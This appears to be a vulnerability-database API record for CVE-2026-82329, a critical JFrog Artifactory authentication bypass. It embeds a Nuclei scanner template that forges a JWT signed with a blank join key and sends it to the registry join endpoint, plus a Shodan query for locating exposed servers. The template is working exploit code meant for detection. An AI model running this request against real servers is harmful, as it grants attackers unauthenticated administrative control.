{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-82329/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-82329/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-82329/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-82329/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-82329/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-82329"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-82329"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-82329.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-82329\n\ninfo:\n  name: JFrog Artifactory Access Blank Join Key Authentication Bypass\n  author: johnk3r,pruva\n  severity: critical\n  description: |\n    JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.\n  impact: |\n    Unauthenticated attackers can gain administrative privileges, leading to full system control.\n  remediation: |\n    Update to the latest version and ensure secure configuration.\n  reference:\n    - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes\n    - https://www.pruva.dev/reproductions/REPRO-2026-00341\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-82329\n    epss-score: 0.07666\n    epss-percentile: 0.94315\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"JFrog\"\n  tags: cve,cve2026,jfrog,auth-bypass,vkev,kev\n\nvariables:\n  service_id: \"jfrt@cve202682329nuclei{{rand_text_alpha(10)}}\"\n  node_id: \"cve202682329node{{rand_text_alpha(10)}}\"\n  jwt_claims: '{\"service_id\":\"{{service_id}}\",\"node_id\":\"{{node_id}}\",\"skip_node_registration\":true,\"iat\":{{unix_time()}}000}'\n  forged_jwt: '{{generate_jwt(jwt_claims,\"HS256\",\"                                \")}}'\n\nhttp:\n  - raw:\n      - |\n        POST /access/api/v1/registry/join HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n        User-Agent: JFrogArtifactory/7.146.25\n        Accept: */*\n        Connection: close\n\n        {{forged_jwt}}\n\n    redirects: false\n    max-redirects: 0\n\n    matchers-condition: and\n\n    matchers:\n      - type: status\n        status:\n          - 201\n\n      - type: word\n        part: body\n        words:\n          - '\"token\"'\n# digest: 4a0a004730450220178638ce610d2980fc2109e4f0870cc52c1f58119104a5fc6c10f16daa226893022100e78b42f5dd97c8b95f8b14ec27cc513b33991661564cc716698ac9ee89d1860c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-82329"
}